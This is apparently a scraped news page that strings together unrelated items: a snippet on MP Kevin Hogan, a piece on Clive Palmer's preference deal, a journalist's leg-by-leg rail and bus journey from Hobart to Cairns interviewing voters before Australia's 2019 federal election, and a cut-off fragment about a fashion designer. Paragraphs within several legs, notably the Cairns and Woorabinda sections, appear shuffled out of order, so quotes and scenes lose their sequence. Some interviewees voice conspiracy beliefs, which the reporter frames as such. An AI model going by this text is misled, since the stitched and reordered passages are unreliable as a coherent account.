Mulberry Farm in the Southern Highlands this weekend. Coalition MP Kevin Hogan has left the door open to sitting on the crossbench if Bill Shorten wins the May election, turning him into a key figure in the event of a hung Parliament. Mr Hogan, who is under threat from Labor in the northern NSW seat of Page, said he would "review his position" if he was re-elected. Pressed repeatedly on whether this meant he could support a Shorten Labor government through confidence and supply, Mr Hogan insisted he would review his position after the election. Nationals MP Kevin Hogan. Credit:Alex Ellinghausen He later added that this did not mean he would guarantee confidence. "Im not guaranteeing them anything," he said. A former Coalition MP for the seat devastated by Clive Palmer's business record has slammed Prime Minister Scott Morrison's preference deal with the "vacuous" mining magnate, and says he is shocked and disgusted Australians are considering voting for him. Ewen Jones, who held the Townsville-based electorate of Herbert when the city's nickel refinery collapsed, warned the government could not trust the billionaire businessman and said the United Australia Party should be placed at the bottom of how-to-vote cards, below Pauline Hanson's One Nation. Former Liberal MP Ewen Jones in Townsville on Friday. Credit:Dominic Lorrimer The Prime Minister on Friday praised the controversial businessman's economic judgment, paving the way for the announcement of a preference deal that will bolster the Coalition's chances in marginal Queensland seats and give Mr Palmer a strong chance at entering the Senate at the May 18 election. Brian Burston, a United Australia Party senator for NSW, has already talked up the party's hopes of winning up to six Senate seats across the nation. The deal will also assist the Coalition to defeat Labor in marginal seats such as Flynn, Capricornia and Dawson in north Queensland. He's on his way to Cairns to visit his mum, who is in a nursing home, and take her to their country in Yarrabah, a larger Indigenous community about 50 kilometres from Cairns, for a weekend of festivities. Home for Les is Woorabinda, an Indigenous community of about 900 people, Les reckons, that lies about 160 kilometres south west of Rockhampton. The lurid colours of the arcade in central Cairns are an abrupt change from the cane fields. Credit:Nick Bonyhady It is a strange experience and the lurid lights are a world away from the place that Les Murgha, 59, calls home. I'd met Les talking to his mates in the dining car of the Spirit of Queensland train we're travelling on. And then you are in the middle of an amusement arcade that stands between the train station and the exit, with Super Mario grinning down at you. You spend most of the journey on the train to Cairns in cane country. Thick stalks metres high. Then a steelworks. Then you're on the main street in Cairns. The change is not gradual. He's also no fan of the alcohol management plan that covers the town. It bans all alcohol, backed up by hefty fines. He says the power goes out when the wind is blowing too strongly and rugby has to stop at nightfall because the lights on the oval are too dim. Les would work on a few things if he were elected: employment and a regular power supply are among his top priorities. "Our people are laid-back, they don't give a shit," Les says. "People coming in and say, 'Jump!' and our mob will say, 'How high, how high?'" He's been involved in politics in Yarrabah, and he says there are lessons that could be applied to Woorabinda. But Les himself is a politician. He's running in local council elections next year. But like any politician, Les needs support to get elected, and the political scene in Woorabinda bears little resemblance to the federal campaign swirling around us. "Domestic violence happens all around the world," he says. "You go to the Gold Coast, I've seen whitefellas kick each other in the head and bash each other." It's clearly a question he has been asked before. I ask Les whether he thinks such a change would exacerbate domestic violence, something he admits is a big problem. He'd like to see restrictions on the amount and type of alcohol, rather than an outright ban. "You can go to the bar and buy a can of beer now," Les says, and he's right. In the dining car, there are XXXX Gold cans aplenty. "Everyone in Australia can so why is it so wrong in my community?" It is an apt discussion to have on the Spirit of Queensland. This train line goes through some of the eastern seaboard's biggest Indigenous centres. Most importantly, Les wants a treaty to give Indigenous people sovereign ownership of land. "I don't want constitutional recognition," Les says. "I want to hold seats in Parliament. I want meaningful outcomes for my people, not words." And while he is no fan of federal politics in general, there are individual politicians he seems to respect. He says Bob Katter visits the community fairly regularly, both during elections and between them. Greg Hunt gave Woorabinda money for an Indigenous rangers program when he was environment minister. Les rates Labor senator Pat Dodson too, as an Indigenous man in Parliament. Dodson is the shadow assistant minister for Indigenous affairs but Bill Shorten has said he would become Indigenous affairs minister under a Labor government. Most of the land the Spirit of Queensland passes through is full of cane, cut cane or pastoral land. There are some banana plantations too. Credit:Nick Bonyhady But Les says people in town are moving past that mentality now so he's quietly confident of getting elected. I ask him how campaigning works in the town. "It's not looking at who is going to do the best job for you it all depends how many drinking mates you got or how big your family is." But some of her other concerns verged into the territory of conspiracy theories. She said laws without the seal of the crown applied to them were invalid and that the government was paying immigrants to come to Australia. Maxine was angry at conditions for Indigenous inmates. She said prison officers were bringing hard drugs into jails. "From the Attorney-General to everybody need to be sacked," she said. Two days earlier, while I was on my way to Townsville, I'd met Maxine Frescoe, who'd been heading to Gladstone. And other Indigenous passengers I meet on the train are perhaps even angrier at our governments than Les. Indigenous people make up about 8 per cent of the population in Townsville, more than twice the national average, and the population is even larger in Cairns, where about one in 10 people are Indigenous. Maxine says she won't vote at the coming election. 4551.9 kilometres down, 0 to go. PS. I've been a journalist with the Sydney Morning Herald and The Age for less than six months. Bringing in a batch of trainees like me was a significant investment in new journalists by the mastheads and, in a smaller way, so was this project. I was a little trepidatious about this trip but it has been an absolute privilege to report my way up the east coast. If you want to support work like this, consider taking out a subscription to The Age or the Herald. Thanks so much for reading. The Cairns Esplanade Lagoon, where my journey ends. Thanks so much for reading my postcards from the road for the last two weeks. You'll hear more about it before the election is out. Credit:Nick Bonyhady Leg 10: There's a long way from parole to the PM There's a new jail coming to the Clarence Valley near Grafton that will house about 1700 inmates. The locals I speak to are pleased with the jobs the facility will bring but worried about the types of characters it might attract. On the evening train from Grafton to Brisbane, I meet three men who I later learn may well have done time in the jail, had it been open. I've been told Grafton already has a transit centre for parolees and I'm guessing these blokes have been through it because of their luggage: two of them have an identical transparent plastic bag and nothing else. One is rasping his way through pretty good renditions of Folsom Prison Blues and Hotel California. I wander over and Dale Kennedy, Marcus Brash and Brownie, who only gives the one name, are happy to talk. Dale Kennedy, left, and Brownie. Credit:Nick Bonyhady Brownie, pictured above, and Marcus have just been released from the transit centre while Dale, the Eagles fan, also pictured above, has got out of hospital. His leg and arm are heavily bandaged. I don't know how he's managing to play the guitar. The trio are disarming and intense conversationalists. At one point, Dale, in a gravelly voice, gives me his dad's phone number. "You get in trouble anywhere in Australia, you ring him, I'll ring you. I'll tell you where to go and what to do. All right, bro?" Dale says. "I'm not to be messed with." I appreciate the offer but it comes with a strange level of familiarity given I've known him for all of 10 minutes. Marcus is more softly spoken. He says his sister is working for a law firm and his family would love to visit New York one day, but sometimes he is on a different wavelength. "There are two peace parks in Lismore," Marcus advises me. "They're really good places to just kip up a swag." Both men, Brownie says, are street blokes. "They've seen some shit," he says. Brownie gives me his story in the greatest detail. He says he did eight years for dealing drugs to support his own addiction in the 2000s (he says he's done all manner of drugs but struggled the most with ice). He's been in and out of jail and rehab, predominantly in Queensland, ever since. But Brownie says he's been clean for 13 months and is heading back to Tweed Heads after his release today. He'll meet his mum there and she'll drive him to rehab again it's a longer-term program that was interrupted by his most recent period of incarceration. Dale and Marcus are heading to Lismore while I'm going on to Brisbane when the train reaches Casino and converts to a bus service. The new bridge being built over the Clarence River at Grafton is a state government project, but for some locals is still a signal that politicians are doing something. Credit:Nick Bonyhady At 40, Brownie has never voted and doesn't plan to. Trying to organise a postal vote must be a low priority when you're trying to stay off ice. But he has plenty to say about what the government could do for people in the system. "I've heard of judges sending people inside [jail] to get better medical assistance. That's bullshit," Brownie says. Loading "I went in there with all my prescriptions, and they just said, No, no, nah, nup,'" Brownie says. "You've been written up by outside doctors and here I am sitting there with some nurse and doctor on the phone who I've never met in my life They don't even call your GP." He says the unavailability of medical care causes fights in prison. "There's a lot of crazy people and they end up bashing people," Brownie says. "Because they haven't got their medications!" Dale interjects. Dale, 47, says he hasn't voted since he was 18. But when I ask Dale what he'd do if he was Prime Minister he doesn't hesitate. "Save the whales!" he says. "Save the dolphins!" He'd free a mate in jail called JP, too. And he gives me some rhymes for the parties. "Labor done me no favour. The Greens don't use Mr Sheen. The Nationals, they're irrational. Pauline Hanson, owes me a ransom. Clive Palmer, well, he's just another drama." But then he grows more serious. He says he would bar poker machines from every pub in the country. "[Gambling] f---ing makes kids starve, brother," Dale says. "Can't pay the rent, can't feed the kids, then the partners are fighting." I don't question him further but it's an answer that smacks of experience. 2866.8 kilometres down, 1685.1 to go. The XPT train pulls into Wauchope station on the way to Casino, via Grafton. Credit:Nick Bonyhady Leg 9: Young and restless up the Hunter Young people are supposed to have come alive this election season. More are enrolled than ever before, apparently spurred by the marriage equality postal survey. But Josh Dunstan isn't overcome by democratic fervour. "My vote's not going to count," he says says as we talk on the northbound train from Maitland, a town near Newcastle in the Hunter. "I don't like the whole electoral system in Australia." Herbert, in Queensland, was decided in the 2016 federal election by 37 votes so every vote does count. But it's hard to convince Josh of that. He's 20, working in his dad's sawmilling business and didn't vote in the postal survey either. How did Josh end up so distant from politics? One clue is his media diet. Josh says he gets his information in snippets from the TV news, often filtered through Facebook. The tone of that coverage, Josh says, is almost always negative. Josh Dunstan has lived in three states since the last election, making registering to vote a pain. Credit:Nick Bonyhady "It's more the media having a snide comment at them or whatever, it's never good," he says. There is some positive media coverage of politics but Josh has a point. I've watched more than enough rural TV since I set off on my journey to Cairns from Hobart almost two weeks ago and I have not seen a single positive political ad. Another explanation is that Josh has lived in three states since the last election, which was around the time his parents split. This means several electoral roll updates. The next day, in Port Macquarie, I drop by the Charles Sturt University campus just outside town (the local independent candidate, Rob Oakeshott, has been studying medicine at the neighbouring University of NSW campus). I"m on my way to the train station in Wauchope, from where I'll head to Grafton. Jarrod Johnstone comes from Manly, one of Sydney's most expensive suburbs. He's eating lunch on a glorious day with Cambridge McCormick, who has moved down from Queensland to study, and a few other friends studying physiotherapy. Jarrod is no more into politics than Josh. He struggles to name something he'd do if he was prime minister but lands on improving access to health services. Cambridge, on the other hand, is switched on. She wants free education for graduates in professions the country needs. We don't discuss how much this will cost because our conversation quickly moves on to which professions are the most worthy of public funding. Free education is something Josh also said he'd like to see, though he has no appetite for tertiary education. Jarrod Johnstone and Cambridge McCormick in the quadrangle at CSU in Port Macquarie. Credit:Nick Bonyhady And, unlike Josh, Cambridge follows local politics. Loading "From the people I've spoken to, it sounds like [Oakeshott] did a lot when he was in last time [when he supported the Gillard government]," Cambridge says. "The Nationals are trying to play on that, saying he's a Labor candidate in disguise. It's really interesting." She is still registered to vote at her family home in Queensland but says she'd think about voting for Oakeshott "the mature student you always see walking around" if she was registered here. Cambridge attributes her political engagement to her childhood when her parents, both Liberal voters, had the ABC news on nightly. That's a very different start to life than the one Josh had but that's not to say Josh has no political concerns. On the train from Maitland, he had told me he reckoned local roads were a death trap that needed fixing and that he wanted free education, although he said he had no intention of going to university either way. I'd told Josh that Labor had announced a policy of uncapping the number of government-subsidised places at Australian universities. It hadn't cut through. "Just so they can make more money on HECS debt," Josh said. (The government does not profit from HECS loans, which are only indexed to keep pace with inflation.) The bucolic view of the hills near Gloucester is reflected in the windows of the XPT train. Credit:Nick Bonyhady This is the sort of conversation that bodes well for Prime Minister Scott Morrison, who Nine political editor Chris Uhlmann said recently was running to be "mayor of Australia". The Prime Minister has kept busy doling out local council-sized funds for community projects and infrastructure. If Morrison can convince people he is working on tangible concerns such as the local roads in Gloucester where Josh lives, he stands a chance at changing minds. But it is no more than a chance. The Liberal Party, Josh says, are only "in there to make money". That's a hard perception to shift especially for some as disengaged as Josh. 2552.8 kilometres down, 1999.1 to go. Leg 8: An unsettling journey to Kiama Bomaderry is the end of the line for trains from Sydney. They prop there before heading back north again. I'm hoping to pick up a seat for my journey to the state capital but there are no trains when I arrive. So instead I catch the bus up to Kiama and start talking to an older bloke. He says his name is Robert Gaul and back in the day he was a part of National Action (a successor to the similarly-named National Alliance), a right-wing extremist group founded by white supremacist and convicted insurance fraudster Jim Saleam, who now runs the Australia First Party. "We were actually labelled neo-Nazis," Robert says semi-incredulously. National Action, of course, got its label because people like Saleam dressed up as Nazis and held xenophobic views. It's the first time I've spoken to someone who's happy to admit to having been part of an extremist group and the conversation, for me at least, is unsettling. Robert describes himself as a nationalist nowadays but he still holds some extreme views. He believes conspiracy theories about immigrants from Asia threatening national security and is worried about Islam too. He wants Australia to return to "European Christian values". But it is the left wing of politics, Robert believes, that is intolerant. "I don't know if you've noticed, but people who view themselves as progressive are the first people who go into name calling," Robert says. "They put labels on people." Robert at the Kiama railway station. Credit:Nick Bonyhady Robert surprises me by saying he believes in climate change. He then adds he doesn't think it is caused by humans. He says the atmosphere is a bit like a metal pipe with red paint on it. Once there are enough coats of paint on the pipe, additional coats of paint will not make the pipe any redder. He thinks we have already reached that point with carbon dioxide in the atmosphere. I am confused. "It's a bit hard to explain," Robert says, but assures me there is scientific evidence for his view. He thinks the world may be in for a cold period. It would be easy to dismiss Robert. But of all the people I've met on my journey, he is one of the few that is actively participating in the campaign. He tells me he is on his way to Sydney where he's going to campaign for Clive Palmer's United Australia Party in the Southern Sydney seat of Hughes, currently held by Liberal conservative Craig Kelly. It's where he used to live. "I'm another Sydney divorcee refugee, that's why I've moved down here," Robert says. "Here", for Robert, are the twin towns of Bomaderry and Nowra, separated by the Shoalhaven River. A freight train departs the Manildra mill in Bomaderry, one of the largest employers in the area. Credit:Nick Bonyhady Earlier, in Bomaderry and Nowra, I'd spoken to a good handful of people as I wandered around on a drizzling day, searching for a barber. (I'd felt a bit shaggy after more than a week on the road as I make my way up to Cairns.) The locals I met were hardly a statistically significant slice of the population but if there was a common theme it was sympathy for some form of protectionism. An electrician and a plumber I spoke to while waiting for my McDonald's breakfast hot chocolate both thought Pauline Hanson was a bit racist. They would like to see Australia take a much higher cut in tax from its mineral wealth. The local bike-shop owner in Bomaderry, Mark Tipping, hadn't struck me as an arch-conservative either but told me he wanted tariffs on overseas internet stores to protect local retailers. "Everyone might love him or hate [Trump], but he's doing what he said and making everything back to America. We've got to back ourselves, and I think that's what we've got to do: we've got to start backing ourselves," Mark said. Mark Tipping says he can't afford to employ the staff he used to, and might be forced to reduce the size of his store. Credit:Nick Bonyhady And Anne Beauchamp, a Nowra local for 38 years who moved here because her husband was stationed at the local naval base, said she wanted less immigration. "She's got a lot of good ideas," Anne said of Pauline Hanson. "Really, it's just that people are down on her. For me, what she says is the truth. She says what people think." And it was One Nation's anti-immigration policies that were particularly appealing to Anne. "There's enough people in our country," she said. "I think if people come into our country they should abide by our rules." The protectionist sentiments I heard seemed to be at least partly motivated by economic fears. There was a paper mill in Bomaderry but it closed in 2015. The last big industry now is the Manildra mill, which makes starch, gluten and ethanol (the mill and its owners have been controversial political donors in the past). Mark says there were plans for a Big W in Bomaderry but asbestos in the site stopped it being built. And unemployment in the local government area is about one-and-a-half times the national average. There are a lot of places like Nowra and Bomaderry in Australia. But as I write this, having bussed to Kiama and then picked up the train north, I glance out the window and see that we are already rolling through the southern Sydney suburb of Hurstville, one of the most diverse in the country. People around me are talking happily on their phones in half a dozen languages. I wonder how Robert, somewhere else on the train, feels. 1900.3 kilometres down, 2651.6 to go. Leg 7: Down the mountain with an old-timer At 92, Ray Smith has seen a lot of prime ministers. Gough Whitlam moved too fast, says Ray. He reckons Bob Hawke was all right, but interest rates under Paul Keating were out of control. "It was pretty severe, especially when you're buying machinery," Ray says. The machinery was for a logging business Ray built in Tasmania. "I started off more or less on me own, then I took my boys in and we had it," he remembers. "I retired out of it, left it to my two sons. They were working for Gunns and Gunns closed down, put everyone out of work." Gunns, the Tasmanian timber giant, was an Adani-like political totem in the 2000s. It proposed a massive pulp mill in the Tamar Valley near Launceston which provoked a long-running battle with environmentalists. Then, as now, the mill put Labor into a conflicted position. Ultimately, the mill was never built and Gunns went into liquidation in 2013. Ray now splits his time between Collinsvale, just outside Hobart, and the south coast of NSW, where we are heading now. I'm sitting next to Ray on a minibus as we grind down the Clyde Mountain between Canberra and the coast in first gear most of the way. Ray does a bit of gardening, growing daffodils, and helps look after one of his neighbours on the coast. She's 97. "I'm still pretty right," he says. Ray Smith is 92 and still sharp. Credit:Nick Bonyhady It's Ray's business experience that still frames his political outlook. He's not sure about climate change and he's wary of unions. "In the business we had a fair bit to do with unions," Ray says. "They can make it a bit hard at times." Labor has brought some traditional union policies to this election: a higher minimum wage, more pay for childcare workers and reversing changes to weekend penalty rates. By the same token, while Ray says he thinks Clive Palmer talks a lot of sense, he's wary of the magnate's record in Townsville, where the collapse of his Queensland Nickel refinery cost jobs. "I still don't trust him," Ray says. "He carries on a bit." But Ray is more hurt by scandals such as film footage of Queensland One Nation's Steve Dickson fondling dancers in a Washington strip club. "Very disappointed in some of those jokers," Ray says. "They're out there, they're politicians, and then they turn around and do those things." Ray wants politicians with more experience in the real world, he says, and more willingness to work together. That's something I heard repeatedly from the business owners in Batemans Bay, the tourist town at the bottom of the Clyde. "I come from a different time," one motel owner says. "Pollies didn't used to just attack each other." I don't know if politics has grown more acrimonious or not, but classic voters like Ray are becoming harder to find on either side of politics. 1612.8 kilometres down, 2939.1 to go. Leg 6: Back in the bubble I am back in the Canberra bubble, if only briefly. This morning I left Wagga Wagga and tomorrow I'll arrive in Batemans Bay, on the NSW south coast, before heading up towards Sydney. But in the meantime, I'm in the nation's capital, which opened its first light rail line a little over a week ago to much fanfare. The new tram runs from the centre of town to Gungahlin in the city's north. Having taken three buses, two trains and one ferry so far, who could resist adding another form of public transport? The driver's view of the new light rail in Canberra, which opened on April 20. Credit:Sitthixay Ditthavong So, on a trip to the end of the line and back, I ask voters whether they feel like they're living in a bubble. The first man I talk to says he works in Parliament House in a technical role and doesn't give much away for that reason, including his name. He says he sees the politicians up close and has no time for either Scott Morrison or Bill Shorten. Angela Plant, waiting at Gungahlin for the tram, says she hasn't decided who to vote for, but values the environment and hospitals. She doesn't think the city exists in a bubble. "It feels like a normal city. I love it here and I've lived here for eight years," she says. Rhiannon McGlinn is heading back from Gungahlin to the city. She's 22, studying law and working too. She doesn't agree with Angela's view of the city. Rhiannon McGlinn is studying law in Canberra. Her political values were shaped by her mother, a teacher. Credit:Nick Bonyhady "I think it is a bit of a bubble, and that's why I think you get a lot of people who eventually want to leave Canberra," she says, citing the presence of Parliament and the High Court as factors that privilege the city. At the same time, Rhiannon says, that does not mean ordinary Canberrans' concerns should be taken any less seriously. For her, that's action on climate change and drug harm minimisation, including for people in prison. Margaret Langford (centre) with her grandson and daughter Kate Langford, (right). Credit:Nick Bonyhady Margaret Langford, a retired teacher, who has lived in Canberra for about 50 years and is testing out the tram with her family, reckons she is the typical Canberra voter. She cares about climate change, refugees and education. She does not hold back on Scott Morrison: "I think the current PM is a bully. I really don't like the way he speaks to people." And she doesn't think Canberra is a bubble. "No, it's just the place where we live. We have nothing to do with the politicians here," she says. Her adult daughter Kate Langford disagrees. "I do think there's a bubble," she says. "There's a fairly homogenous demographic." Most Canberrans, Kate says, hold progressive values. On current polling, Kate looks correct. At the federal election, Labor is expected to pick up the third lower house seat the ACT has gained as its population grows. After more discussion, the mother and daughter end up agreeing. Canberrans are broadly progressive, they conclude, but the new suburbs outside the city centre are more diverse, and Parliament has little direct impact on their lives. "It really wouldn't matter to us if Parliament House wasn't sitting there, if it was somewhere else," Margaret says. Kate agrees, but then remembers a time last year when her son went to a special sitting of Parliament and sat just metres away from the Prime Minister and Opposition Leader. It's not an experience that most kids in Wagga Wagga, where I had travelled the day before, get to enjoy. 1464.3 kilometres down, 3087.6 to go. Leg 5: Drugs and drought in Wagga Crime, Gemma says, is the first thing she would fix if she was prime minister. "I just had to buy an $80 lock for my meter box," she says. I ask Gemma, who is working at the front desk of my motel in Wagga Wagga, why someone would want to break into a power meter. She says there have been reports of thieves turning off the power to shut down alarms and break into homes, motivated by drugs. But, she says, she is also "a bit paranoid". Maisie, working at the shopping centre in town, shares Gemma's concerns. Her car was stolen recently. "I'm on my second car. I'm like, 'Don't take it again'," she says. For someone like Maisie, who grew up in the countryside outside Wagga, locking doors and taking security seriously is a change. The Riverina region is in the highest band for amphetamine possession and use rates in NSW last year, along with other areas like the Hunter and Murray, according to data from the NSW Government Bureau of Criminal Statistics and Research. Not everyone agrees with Maisie and Gemma. My cab driver Abraham, who has moved to Wagga from Sydney so his wife can work in the local hospital, says drugs were a problem a few years ago but that things have subsided. Jan, who I meet on the train from Wangaratta, sees another side of the issue. She's sitting next to me, travelling home from a visit to see her daughter in Melbourne, and we speak for most of the trip. Jan and the XPT train that brought her home to Wagga. Credit:Nick Bonyhady She's working in aged care, as she has for more than 20 years. Recently, Jan got a promotion from "wiping old people's bottoms" in a nursing role to running activities for the residents at a retirement home in town. It's a job she loves, along with the people she looks after. I ask how old most of her patients are, expecting her to say somewhere between 70 and 90. "It really depends on the condition they've got, darl," Jan says. "There's alcohol and drug-induced dementia." That means some of Jan's charges are much younger. The iconic Murrumbidgee Flour Mill in Wagga is empty for now but the site is being redeveloped, with plans for a pub and commercial precinct. Credit:Nick Bonyhady How does that translate into politics? For Jan, it doesn't. She thinks she'll probably vote for Bill Shorten. "Who is Scott Morrison?" she says. It isn't that she doesn't know who the Prime Minister is, she just doesn't have a sense of what he's like as a person after seeing so many leaders come and go. Substance abuse is far from the only concern in Wagga. Childcare and penalty rates get a mention from voters, and the drought is at the top of people's minds. Maisie names it her biggest concern. Other shopkeepers on the main street do the same. Even in Wagga, where so many depend on the agricultural economy, politics remains a multifaceted game. 1220.7 kilometres down, 3331.2 to go. Leg 4: Disengagement and dissent on the V-Line The 12:05pm V-Line train to Albury-Wodonga is initially a bad place to discuss politics. Noah, an abattoir worker on his way to Seymour, about 100 kilometres north of Melbourne, asks me who the current Prime Minister is. As the train winds its way north from Melbourne through Cathy McGowan's rural seat of Indi, Jacob and his wife tell me they simply don't vote. But as the train rolls on, eating up kilometres in my journey up the east coast, I meet some more engaged passengers. Dylan, 24, gets on the train at Seymour and says he cares about mental health, drug issues and pay. He tells me, with some trepidation, that he voted for One Nation at the last election. Dylan, 24, has a partner, stepdaughter and baby on the way. He supports all of them on a single income. Credit:Nick Bonyhady Dylan isn't sure who he'll vote for this time but he wasn't turned off One Nation by the Al-Jazeera report in March that appeared to show One Nation party operatives seeking money from the American National Rifle Association. "I laughed at it a little bit," Dylan says. In any case, Dylan has nothing against guns. "People say 'guns do this, guns do that', but it's the mental state of the person and what has been around there to help that person with whatever issues they're facing," he says. With the way Dylan sees the world going, he reckons owning a gun might not be a bad thing one day. But what makes One Nation particularly appealing for Dylan is that they seem to be outside regular politics. With a partner, stepdaughter and a baby on the way all dependent on Dylan's income, he values a party that seems to offer something outside the status quo. In the line for a snack at the dining car, I meet Branka. Branka was travelling on a seniors' trip to the country. Credit:Nick Bonyhady She has voted Liberal since arriving in Australia from Croatia during the Cold War. Branka and her husband associated Labor with communism, which they had fled, and voted accordingly. As Branka and I speak, a young woman with green hair walks past. "The Liberals are scum," she says. "How rude," says another woman sitting next to us. Branka seems more confused than upset. The Ovens River in Wangaratta at dusk. Credit:Nick Bonyhady I track down the woman with green hair in another carriage. Her name is Shilani and she's 18, travelling home with her dad. Shilani is articulate and informed. She knows the local council makeup and the Greens vote percentage at the NSW state election. She got her father involved in the party. "The most important policy issues for me are climate change, asylum seekers, basic human rights, queer rights and animal justice," she says. "Overall, I think the Greens have a real vision for Australia and it's the kind of Australia I want to live in." With some time to relax, Shilani says her jab at Branka was not the sort of thing that would change the older woman's mind. "I know it's not constructive, and I normally wouldn't go off at people like that," she says. At the same time, Shilani is at home with her views. "Honestly, I don't have much time or respect for the Liberals or for people who vote for them, even though that's a lot of people," she says. Shilani's interaction with Branka was fleeting and wouldn't have happened if I wasn't there, but it seemed to encapsulate the generational divide underlying this election. 1020.6 kilometres down, 3531.3 to go. Leg 3: Veganism and faith. A day in Melbourne Getting off the Spirit of Tasmania from Devonport at Port Melbourne, I am followed by a continued sense of motion in tune with the swell in Bass Strait. It is a dizzying feeling. And so it is to be a media consumer this election: across Melbourne, with its battleground seats such as Macnamara, Flinders, Chisholm and Kooyong, advertisements blanket the streets. At one junction, the incongruous pairing of Clive Palmer and Adam Bandt smiles down at voters. So how do voters process this flood of information? Four people I speak with have similar answer, referring to singular principles. A strange pair of politicians peer down at voters in central Melbourne. Credit:Nick Bonyhady For two of the people, it is their Christian faith informing their outlook on this campaign, for two others it is their veganism. "Anyone can do whatever they want, but I just don't understand how you can f---ing eat animals. They cry!" says Dan, who works for a clothes label on Collingwood's trendy Smith Street. Dan switched from Labor to the Greens, frustrated at state issues. Credit:Nick Bonyhady For Dan, veganism is intimately linked to environmentalism. "It's about having world left," he says. His answer is the same as that of Mohit, who I had met standing on the top deck of the Spirit of Tasmania watching the sunrise. "For me, one of the prime things is cruelty to animals," Mohit had said. Neither Dan or Mohit are militant vegans. They aren't the sort to join the protests that stalled the Melbourne CBD in early April or berate friends at a barbecue, but each is appalled that Prime Minister Scott Morrison is so dismissive of a choice that is so important to them. The Prime Minister called the Melbourne protesters "green-collar criminals" and said the full force of the law should be used against them. "It needs to be looked at at a deeper level," Mohit had said. Dan says he will vote for the Greens. Mohit, who would have liked to vote for the Coalition, is undecided. He values growth and security and isn't sure the Greens or another minor party could provide it. But for others, the Prime Minister's convictions are a vote winner. Henok, who is driving for Uber full-time and raising a family in Melbourne's outer suburbs, has a simple voting equation: "[Morrison] a strong Christian, that's why I support him." Henok has been voting for the Coalition since John Howard and likes Australia's politicians in contrast with those he saw in Ethiopia and South Africa. Credit:Nick Bonyhady Bill Shorten is also Christian but Henok says he is particularly attracted to the fact the Prime Minister shares his Pentecostal faith. Wai-Man, another Uber driver who also works part-time in a warehouse, says he originally considered himself a Labor voter. But now he doesn't believe the parties will live up to their names so he votes on his faith. "I'm a Christian, so our church usually give us some advice on which party will care more about Christians, and the church So usually we take the advice of the church," Wei-Man says. Uber driving in Melbourne can be tough. Another driver says he drives every day as well as working full-time at Hungry Jacks. But Labor's changes to penalty rates, the minimum wage and casual work did not rate a mention. Faith is what cut through. Leg 2: Launceston to Melbourne via Devonport It looks like winter has arrived, the captain of the Spirit of Tasmania says over the intercom before the ship's engines whir into life on our Friday night voyage from Devonport to Melbourne. "It could be a bit rough." He's speaking about the trip across Bass Strait, but it could just as well be the battle facing Australia's major parties this election (or the new season of Game of Thrones). I'm on board the Spirit of Tasmania as part of my journey from Hobart to Cairns, to take the temperature of Australia's voters. The ship is still on the Mersey River, but I can already feel it beginning to roll. And my fellow travellers already have plenty to say about Canberra. Ned, who I met before boarding with his old friend Nick, says the major parties are "all full of bullshit. They only want to line their own pockets." He doesn't have much of an opinion on Bill Shorten or Scott Morrison, but isn't tempted to vote for Clive Palmer either. "He seems like a shonk," Ned says, recalling reports the resource magnate's company owes workers millions. Ned (right) and his friend Nick. Ned doesn't know what he'd do if he was prime minister, but he'd like a better pension and cheaper fares on the Bass Strait ferry. Credit:Nick Bonyhady Nick is even more disengaged. He prefers to reminisce about when he was young enough to sail his own boat across the Bass Strait, a beloved break from his former day job as a dairy farmer. It's the kind of disengagement that seems to have eroded old party loyalties. Monika, a secondary school teacher I meet waiting for a bus in Launceston, is in many ways a model Labor voter. She is a teacher, she cares about reliable, full-time work, she thinks the government should spend more on mental health and she has progressive views on trans issues. But she is also deeply cynical about the "boys' club" of politics. "It doesn't matter who is in charge, nothing is going to change. You don't see hope or inspiration or aspiration," Monika says. Shorten, Monika says, "seems like a shifty bugger". And she is leery of the Prime Minister too, worried that his faith pushes him to be exclusionary on social issues. Ultimately, Monika reckons she will vote for a minor party. She isn't sure which one, but thinks Clive Palmer is a joke. "He could be entertaining, though," she says. Back on board the Spirit of Tasmania, we head for the open sea. Hopefully, the voyage is not too rough. 749.9 kilometres down, 3802 to go. Leg 1: Hobart to Launceston Helen and Wally, a Hobart couple I met on the plane from Sydney, tell me they are thinking of moving to the mainland to enjoy retirement closer to family. "We worked long and hard enough," says Wally, who was a fitter and turner. But if they list their house on the market, Helen says with a laugh, she is afraid it will sell too quickly for them to get their affairs in order. "Four or five other houses have already sold on our street," says Helen, a retired pathologist. Helen and Wally. Were she prime minister, Helen says, the first thing she would do is keep her promises. Credit:Nick Bonyhady She and Wally keep abreast of politics but have paid more attention to state than federal politics recently "too busy playing with grandkids", Helen says. And though she sees Tasmania as a Labor state, Helen reckons the economy has done better under the current Liberal government. Joseph, who manages a hotel bar in Launceston, is more agnostic. It is private industry which he sees as the real job creator, not the government of the day (he has moved from Adelaide for this job; his family stayed behind). 'The government can't do anything. I wouldn't want to be prime minister," he says. "You just can't please everyone." Helen too is worried about population growth bringing the congestion problems of Sydney or Melbourne to Hobart's tiny CBD. Like Joseph, she's concerned about the dry conditions that sparked bushfires late last year. "It's just barren," Helen says. Things are different for Manish, who is travelling with me on the bus from Hobart to Launceston to interview for jobs in hospitality. Manish says the prime minister should create jobs in regional areas if they send people there. Credit:Nick Bonyhady If he gets a full-time job and keeps it for a year, Manish, who was born in Nepal but has lived in Australia for about a decade, says he will be able to apply for permanent residency. "It's very hard finding a job," Manish says. He has qualifications in IT but is working part-time in hospitality now. "The government is putting a lot of people in Hobart but not more jobs." But he is hopeful about finding work in Launceston. "Launceston is a second city so it's a bit easier and cheaper," Manish says. At least for the people I've spoken to in Tasmania, Scott Morrison's claim that his government has fostered a strong economy looks believable. 200.5 kilometres down, 4351.4 to go. Earlier The first major event I covered as a reporter for this publication was the Sydney to Hobart yacht race. As a thoroughly land-based mammal, I was out of my depth. Now I'm taking the same trip as those yachts to begin an even longer journey thankfully, almost entirely overland from Hobart to Cairns. Here's a mark of my ignorance setting out on this trip: looking at the map to plan my journey I saw the town of Bonnie Doon on the banks of Lake Eildon in Victoria. Until then I had presumed that the town, where the Kerrigan family holidays in the classic Australian film The Castle, was fictional. I'm not going anywhere as rural as Bonnie Doon but I am taking in smaller towns that we tend to cover less than Sydney and Melbourne in order to talk to people about what matters to them in the upcoming election. Say hi if you see me. Movement is at the core of how Spender designs and produces her clothes, joking that skirts must pass the Martin Place test, named after the notorious wind tunnel in the Sydney CBD. Since becoming a mother to two sons, now aged seven and 10, those tests have expanded to include the carrying the baby test to determine dress lengths (Spender doesnt own a pair of jeans). Costume collaborators ... Spender with Sydney Dance Company's Rafael Bonachela. Credit:Louise Kennerley Spenders obsession with movement was put to the ultimate test recently, when she designed the costumes for the Sydney Dance Companys 50th-anniversary production of Cinco, under artistic director Rafael Bonachela. Some of the dance movements were so physical that three costumes ripped during 